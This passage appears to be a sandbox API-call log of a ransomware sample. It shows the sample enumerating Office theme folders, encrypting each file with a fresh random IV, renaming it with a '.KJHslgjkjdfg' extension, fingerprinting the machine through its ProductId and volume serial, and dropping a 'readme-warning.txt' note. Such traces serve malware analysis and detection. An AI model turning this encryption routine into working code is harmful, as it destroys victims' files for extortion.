lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0172.092] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0172.093] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0172.093] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.093] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.093] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.093] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7c5d, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x7c5d, lpOverlapped=0x0) returned 1 [0172.094] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x7c60, dwBufLen=0x7c60 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x7c60) returned 1 [0172.095] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.095] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7c60, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x7c60, lpOverlapped=0x0) returned 1 [0172.095] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.095] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7d34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.095] SetEndOfFile (hFile=0x114) returned 1 [0172.098] GetProcessHeap () returned 0x2ef0000 [0172.098] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0172.098] GetProcessHeap () returned 0x2ef0000 [0172.098] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0172.099] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.kjhslgjkjdfg")) returned 1 [0172.099] CloseHandle (hObject=0x114) returned 1 [0172.107] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7c5d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0172.107] GetProcessHeap () returned 0x2ef0000 [0172.107] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0172.107] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.107] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0172.107] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.107] GetProcessHeap () returned 0x2ef0000 [0172.107] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0172.107] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.107] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0172.107] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.107] GetProcessHeap () returned 0x2ef0000 [0172.107] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f47728 [0172.108] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.108] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f47728, pdwDataLen=0x4dfee20 | out: pbData=0x2f47728, pdwDataLen=0x4dfee20) returned 1 [0172.108] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.108] GetProcessHeap () returned 0x2ef0000 [0172.108] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0172.108] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.108] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0172.108] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.108] GetProcessHeap () returned 0x2ef0000 [0172.108] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0172.108] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.108] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0172.108] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.108] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x114) returned 0x0 [0172.109] RegQueryValueExA (in: hKey=0x114, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0172.109] RegCloseKey (hKey=0x114) returned 0x0 [0172.109] GetProcessHeap () returned 0x2ef0000 [0172.109] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0172.109] GetProcessHeap () returned 0x2ef0000 [0172.109] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0172.109] GetProcessHeap () returned 0x2ef0000 [0172.109] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0172.109] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0172.109] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0172.109] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.109] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0172.109] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0172.110] GetProcessHeap () returned 0x2ef0000 [0172.110] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0172.110] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0172.110] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0172.110] GetProcessHeap () returned 0x2ef0000 [0172.110] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f406c8 [0172.110] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\readme-warning.txt") returned 83 [0172.110] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.111] WriteFile (in: hFile=0x114, lpBuffer=0x2f406c8*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f406c8*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0172.112] CloseHandle (hObject=0x114) returned 1 [0172.112] GetProcessHeap () returned 0x2ef0000 [0172.112] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0172.112] GetProcessHeap () returned 0x2ef0000 [0172.112] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f406c8 | out: hHeap=0x2ef0000) returned 1 [0172.112] GetProcessHeap () returned 0x2ef0000 [0172.112] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0172.113] GetProcessHeap () returned 0x2ef0000 [0172.113] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0172.113] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0172.113] GetProcessHeap () returned 0x2ef0000 [0172.113] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0172.113] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BREEZE", cAlternateFileName="")) returned 1 [0172.113] GetProcessHeap () returned 0x2ef0000 [0172.113] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8e) returned 0x2f425d0 [0172.113] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0172.115] GetProcessHeap () returned 0x2ef0000 [0172.115] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f425d0 | out: hHeap=0x2ef0000) returned 1 [0172.115] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0172.115] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea563500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a61ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xea563500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1a537, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BREEZE.ELM", cAlternateFileName="")) returned 1 [0172.115] GetProcessHeap () returned 0x2ef0000 [0172.115] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x290) returned 0x2f3e278 [0172.115] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.115] GetProcessHeap () returned 0x2ef0000 [0172.115] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0172.116] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0172.116] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0172.116] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x9, lpOverlapped=0x0) returned 1 [0172.118] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.118] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.118] GetProcessHeap () returned 0x2ef0000 [0172.118] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0172.118] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0172.118] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.118] WriteFile (in: hFile=0x114, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0172.118] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0172.119] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0172.119] WriteFile (in: hFile=0x114, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0172.119] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0172.119] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0172.119] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.119] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.119] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.119] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1a537, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x1a537, lpOverlapped=0x0) returned 1 [0172.126] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x1a540, dwBufLen=0x1a540 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x1a540) returned 1 [0172.128] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.128] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1a540, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x1a540, lpOverlapped=0x0) returned 1 [0172.129] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.129] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1a604, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.129] SetEndOfFile (hFile=0x114) returned 1 [0172.132] GetProcessHeap () returned 0x2ef0000 [0172.132] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0172.132] GetProcessHeap () returned 0x2ef0000 [0172.132] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0172.132] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.elm.kjhslgjkjdfg")) returned 1 [0172.133] CloseHandle (hObject=0x114) returned 1 [0172.133] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6003c730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BREEZE.INF", cAlternateFileName="")) returned 1 [0172.133] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.179] GetProcessHeap () returned 0x2ef0000 [0172.179] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0172.179] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0172.179] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0172.179] WriteFile (in: hFile=0x114, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xe, lpOverlapped=0x0) returned 1 [0172.181] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.181] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.181] GetProcessHeap () returned 0x2ef0000 [0172.181] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0172.181] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0172.182] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.182] WriteFile (in: hFile=0x114, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0172.182] WriteFile (in: hFile=0x114, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0172.182] WriteFile (in: hFile=0x114, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0172.182] WriteFile (in: hFile=0x114, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0172.182] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0172.182] WriteFile (in: hFile=0x114, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0172.182] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0172.182] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0172.182] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.183] ReadFile (in: hFile=0x114, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1c2, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x1c2, lpOverlapped=0x0) returned 1 [0172.183] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x1d0, dwBufLen=0x1d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x1d0) returned 1 [0172.183] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.183] WriteFile (in: hFile=0x114, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1d0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x1d0, lpOverlapped=0x0) returned 1 [0172.183] CryptDestroyKey (hKey=0x2f18308) returned 1 [0172.183] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x294, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.183] SetEndOfFile (hFile=0x114) returned 1 [0172.186] GetProcessHeap () returned 0x2ef0000 [0172.186] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0172.186] GetProcessHeap () returned 0x2ef0000 [0172.186] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0172.186] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\BREEZE.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\breeze.inf.kjhslgjkjdfg")) returned 1 [0172.195] CloseHandle (hObject=0x114) returned 1 [0172.195] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, 